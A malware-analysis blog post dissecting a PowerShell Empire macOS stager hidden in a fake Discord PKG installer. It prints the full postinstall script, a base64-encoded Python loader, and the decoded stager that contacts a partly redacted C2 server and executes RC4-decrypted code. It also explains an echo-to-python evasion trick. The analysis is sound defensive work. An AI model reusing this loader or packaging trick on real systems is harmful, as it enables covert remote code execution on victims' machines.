Post

Analyzing an Empire macOS PKG Stager

Command and control (C2) frameworks often support multiple platforms, and PowerShell Empire is no different. In older days, there was a Python Empyre version that eventually merged into the full Empire project and support for macOS and Linux systems still exists within Empire. For these platforms, Empire leverages python-based launchers to execute commands. While the Python launchers may be platform independent, adversaries must still deliver them to victim hosts. This delivery presents an excellent opportunity for detection and analysis. For this example, we’re going to walk through the analysis of an Empire stager found in VirusTotal: https://www.virustotal.com/gui/file/19e19adc03b313236462b30a1a438a604d4c0b4c86268b951689696144a63fdc/detection.

Inspecting The PKG File

For this analysis, we’ll work from a REMnux v7 host. To start off, let’s make sure we have a working folder for files.

1
2
3
4
5
6
7
8
9
10
$ mkdir -p ~/cases/empire-stager/stager
$ mv ~/Downloads/discord.pkg empire-stager/
$ cd empire-stager/
$ ls -lah

total 48K
drwxrwxr-x 3 remnux remnux 4.0K Feb  8 23:38 .
drwxrwxr-x 9 remnux remnux 4.0K Feb  8 23:37 ..
-rw-rw-r-- 1 remnux remnux  35K Feb  7 01:30 discord.pkg
drwxrwxr-x 2 remnux remnux 4.0K Feb  8 23:37 stager

The PKG file masquerades as a component related to the Discord application, possibly the installer. To proceed we can go ahead and get an idea of the file type using the file command.

1
2
3
$ file discord.pkg

discord.pkg: xar archive compressed TOC: 2674, SHA-1 checksum

The output indicates the PKG file is a XAR archive, exactly what we expect for a PKG file.

Moving forward, we can unpack the PKG using bsdtar.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ bsdtar xvf discord.pkg -C stager/

x Resources
x Resources/ru-RU.lproj
x Distribution
x update.pkg
x update.pkg/PackageInfo
x update.pkg/Bom
x update.pkg/Payload
x update.pkg/Scripts

$ cd stager/
$ ls -lah

total 20K
drwxrwxr-x 4 remnux remnux 4.0K Feb  8 23:44 .
drwxrwxr-x 3 remnux remnux 4.0K Feb  8 23:38 ..
-rw-r--r-- 1 remnux remnux 1.8K Nov 27  2019 Distribution
drwxr-xr-x 3 remnux remnux 4.0K Nov 27  2019 Resources
drwxr-xr-x 2 remnux remnux 4.0K Nov 27  2019 update.pkg

Within the Resources folder there is a ru-RU.lproj file. From the naming convention we can hypothesize it has something to do with language resources, but we can’t be sure because the folder is empty upon inspection.

Next, we can inspect the contents of the update.pkg folder. As seen in the output of bsdtar, it contains just a few files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ls -lah

total 84K
drwxr-xr-x 2 remnux remnux 4.0K Nov 27  2019 .
drwxrwxr-x 4 remnux remnux 4.0K Feb  8 23:44 ..
-rw-r--r-- 1 remnux remnux  35K Nov 27  2019 Bom
-rw-r--r-- 1 remnux remnux  777 Nov 27  2019 PackageInfo
-rw-r--r-- 1 remnux remnux  29K Nov 27  2019 Payload
-rw-r--r-- 1 remnux remnux  917 Nov 27  2019 Scripts

$ file *

Bom:         Mac OS X bill of materials (BOM) file
PackageInfo: ASCII text
Payload:     gzip compressed data, from Unix, original size modulo 2^32 77824
Scripts:     gzip compressed data, from Unix, original size modulo 2^32 1536

From the directory structure and file types, it seems the contents match what we would expect from a macOS PKG file. There is a Bill of Materials (BOM) file, PackageInfo in text/XML format, and two gzipped CPIO archives: Payload and Scripts. Before unpacking the Payload and Scripts, we can inspect the PackageInfo file with less.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ less PackageInfo

<pkg-info format-version="2" identifier="com.apple.Discord" version="1.0" install-location="/" auth="root" overwrite-permissions="true" generator-version="InstallCmds-554 (15G31)">
    <payload numberOfFiles="15" installKBytes="105"/>
    <scripts>
        <postinstall file="./postinstall"/>
    </scripts>
    <bundle id="com.apple.Discord" CFBundleIdentifier="com.apple.Discord" path="./Discord.app" CFBundleShortVersionString="1.0" CFBundleVersion="1"/>
    <bundle-version>
        <bundle id="com.apple.Discord"/>
    </bundle-version>
    <upgrade-bundle>
        <bundle id="com.apple.Discord"/>
    </upgrade-bundle>
    <update-bundle/>
    <atomic-update-bundle/>
    <strict-identifier>
        <bundle id="com.apple.Discord"/>
    </strict-identifier>
</pkg-info>

There are a few things to note from this file. First, the PackageInfo file doubles down on the masquerade that the PKG file is related to Discord. Next, the installKBytes field contains a value 105. This gives us reasonable evidence to assume the Payloads archive will contain some form of content. In payload-free package files, the installKBytes field will contain the value 0, indicating all the work is done by preinstall and postinstall scripts.

Finally, the scripts section of the PackageInfo file indicates we can expect Scripts to unpack a postintall script for execution. This postinstall script should execute after the macOS Installer utility processes the content of the PKG file and after the “installation” is complete. In legitimate use cases, applications would take this opportunity to use postinstall scripts to clean up unneeded files. In this case, the postinstall script executes malware.

Unpacking the Malicious Content

Now we can unpack the Payload and Scripts archives.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ cat Payload | gunzip | cpio -i
152 blocks
$ cat Scripts | gunzip | cpio -i
3 blocks

$ ls -lah
total 92K
drwxr-xr-x 3 remnux remnux 4.0K Feb  9 00:01 .
drwxrwxr-x 4 remnux remnux 4.0K Feb  8 23:44 ..
drwxr-xr-x 3 remnux remnux 4.0K Feb  9 00:01 Applications
-rw-r--r-- 1 remnux remnux  35K Nov 27  2019 Bom
-rw-r--r-- 1 remnux remnux  777 Nov 27  2019 PackageInfo
-rw-r--r-- 1 remnux remnux  29K Nov 27  2019 Payload
-rwxr-xr-x 1 remnux remnux 1.1K Feb  9 00:01 postinstall
-rw-r--r-- 1 remnux remnux  917 Nov 27  2019 Scripts

$ file postinstall 
postinstall: Bourne-Again shell script, ASCII text executable, with very long lines

Now the postinstall script is unpacked, we can recognize its file type as a Bash script. This is important to note as a postinstall script can be written in any scripting language for which the system contains an interpreter. In some packages, I’ve also seen postinstall to be a Mach-O binary instead of a script. To see the contents of postinstall, we can use the less command again.

1
2
3
4
5
6
7
$ less postinstall

#!/bin/bash

echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xNzYuMTI2LjcwLjEzMjoxMDAwMSc7dD0nL2xvZ2luL3Byb2Nlc3MucGhwJztyZXE9dXJsbGliMi5SZXF1ZXN0KHNlcnZlcit0KTsKcmVxLmFkZF9oZWFkZXIoJ1VzZXItQWdlbnQnLFVBKTsKcmVxLmFkZF9oZWFkZXIoJ0Nvb2tpZScsInNlc3Npb249cUc5WlFZWFdlMEk1cG15dFpFMU4wdkFxbTljPSIpOwpwcm94eSA9IHVybGxpYjIuUHJveHlIYW5kbGVyKCk7Cm8gPSB1cmxsaWIyLmJ1aWxkX29wZW5lcihwcm94eSk7CnVybGxpYjIuaW5zdGFsbF9vcGVuZXIobyk7CmE9dXJsbGliMi51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJzBlZjk2NzMyNzg5NzE4NTI1ZTc2MzgyOTM3MGJkNDg4JztTLGosb3V0PXJhbmdlKDI1NiksMCxbXQpmb3IgaSBpbiByYW5nZSgyNTYpOgogICAgaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KaT1qPTAKZm9yIGNoYXIgaW4gZGF0YToKICAgIGk9KGkrMSklMjU2CiAgICBqPShqK1NbaV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQogICAgb3V0LmFwcGVuZChjaHIob3JkKGNoYXIpXlNbKFNbaV0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ=='));" | /usr/bin/python &

exit 0

The postinstall script contains base64-encoded Python commands. We know they’re base64-encoded because they’ll be decoded at runtime using the functions base64.b64decode and executed with exec. In addition, the stager uses an echo command to pass the code into a python process. This is an evasion method, ensuring that process monitoring software such as EDR won’t notice Python having suspicious command line parameters. Since the code is in base64, we can easily decode it with the command base64 -d and write it to a plaintext file.

1
$ echo "aW1wb3J0IHN5cztpbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xNzYuMTI2LjcwLjEzMjoxMDAwMSc7dD0nL2xvZ2luL3Byb2Nlc3MucGhwJztyZXE9dXJsbGliMi5SZXF1ZXN0KHNlcnZlcit0KTsKcmVxLmFkZF9oZWFkZXIoJ1VzZXItQWdlbnQnLFVBKTsKcmVxLmFkZF9oZWFkZXIoJ0Nvb2tpZScsInNlc3Npb249cUc5WlFZWFdlMEk1cG15dFpFMU4wdkFxbTljPSIpOwpwcm94eSA9IHVybGxpYjIuUHJveHlIYW5kbGVyKCk7Cm8gPSB1cmxsaWIyLmJ1aWxkX29wZW5lcihwcm94eSk7CnVybGxpYjIuaW5zdGFsbF9vcGVuZXIobyk7CmE9dXJsbGliMi51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJzBlZjk2NzMyNzg5NzE4NTI1ZTc2MzgyOTM3MGJkNDg4JztTLGosb3V0PXJhbmdlKDI1NiksMCxbXQpmb3IgaSBpbiByYW5nZSgyNTYpOgogICAgaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KaT1qPTAKZm9yIGNoYXIgaW4gZGF0YToKICAgIGk9KGkrMSklMjU2CiAgICBqPShqK1NbaV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQogICAgb3V0LmFwcGVuZChjaHIob3JkKGNoYXIpXlNbKFNbaV0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ==" | base64 -d > python-stager.txt

Analyzing The Python Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ less python-stager.txt

import sys;import urllib2;
UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';server='hxxp://176.126.70[.]xxx:10001';t='/login/process.php';req=urllib2.Request(server+t);
req.add_header('User-Agent',UA);
req.add_header('Cookie',"session=qG9ZQYXWe0I5pmytZE1N0vAqm9c=");
proxy = urllib2.ProxyHandler();
o = urllib2.build_opener(proxy);
urllib2.install_opener(o);
a=urllib2.urlopen(req).read();
IV=a[0:4];data=a[4:];key=IV+'0ef96732789718525e763829370bd488';S,j,out=range(256),0,[]
for i in range(256):
    j=(j+S[i]+ord(key[i%len(key)]))%256
    S[i],S[j]=S[j],S[i]
i=j=0
for char in data:
    i=(i+1)%256
    j=(j+S[i])%256
    S[i],S[j]=S[j],S[i]
    out.append(chr(ord(char)^S[(S[i]+S[j])%256]))
exec(''.join(out))

While inspecting the Python code, we can note a few things for leads. First, the C2 server for this implant is at 176.126.70.xxx (intentionally redacted) on port 10001 listening for the HTTP protocol. When visiting the C2 server for commands, the code will request a URI path of /login/process.php using a user-agent string of Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko. Both of these details help Empire’s network traffic masquerade as legitimate traffic in an enterprise network.

With this cleartext code, we can easily attribute the code to Empire with code publicly available on GitHub. In this case, the Python code comes from this file in the former, archived Empire repository: https://github.com/EmpireProject/Empire/blob/master/lib/listeners/http.py#L413.

The PKG stager packaging is also in the repository here: https://github.com/EmpireProject/Empire/blob/master/lib/common/stagers.py#L404.

Does The App Even Do Anything?

From here we’re certain the PKG file contains an Empire stager, but it could also potentially contain legitimate functionality related to Discord. We can rule that out by investigating the rest of the PKG contents.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ cd Applications/Discord.app/
$ tree -a
.
└── Contents
    ├── _CodeSignature
    │   └── CodeResources
    ├── Info.plist
    ├── MacOS
    │   └── Discord
    ├── PkgInfo
    └── Resources
        ├── Base.lproj
        │   └── MainMenu.nib
        └── Scatter.icns

5 directories, 6 files

Using the tree command, we can inspect the folder structure without all the laborious ls commands. Within macOS application bundles, the main executable of interest typically lives in the Contents/MacOS folder. In this case, it’s named Discord.

1
2
3
$ cd Contents/MacOS/
$ file Discord 
Discord: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>

From the output of file we know that Discord is definitely a Mach-O executable binary. We’re not going to fully reverse the binary, but we can get some additional evidence by simply running strings to see if we can identify suspicious binary contents. First, we’ll run strings to get standard ASCII characters into a file. Then, we’ll re-run strings again, targeting the Unicode characters.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ strings Discord > discord.strings.txt
$ strings -el Discord >> discord.strings.txt 

$ less discord.strings.txt

__PAGEZERO
__TEXT
__text
__TEXT
__const
__TEXT
__unwind_info
__TEXT
__DATA
__objc_imageinfo__DATA
__LINKEDIT
/usr/lib/dyld
/System/Library/Frameworks/Python.framework/Versions/2.7/Python
/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation
/usr/lib/libobjc.A.dylib
/usr/lib/libSystem.B.dylib
@(#)PROGRAM:templateMachoExe  PROJECT:templateMachoExe-
_mh_execute_header
:main
>templateMachoExeVersion
String
UNumber
__mh_execute_header
_main
_templateMachoExeVersionNumber
_templateMachoExeVersionString
dyld_stub_binder
templateMachoExe-555549440018c666ecdc32b59bfb39f5a574c24d
PC^t
templateMachoExe-555549440018c666ecdc32b59bfb39f5a574c24d
@DxG

It’s not common to see a functional binary quite this lean in strings. In fact, there doesn’t appear to be anything in the binary specifically relevant to Discord in any way. An additional lead to investigate is the string templateMachoExe present in the strings output. This string could indicate the binary is a generic copy of the template Mach-O file contained with Empire. To find out for sure, you can download the template file and run strings against it to compare the output.

Hopefully this helps illustrate how Empire stagers work on macOS, thanks for reading!

This post is licensed under CC BY 4.0 by the author.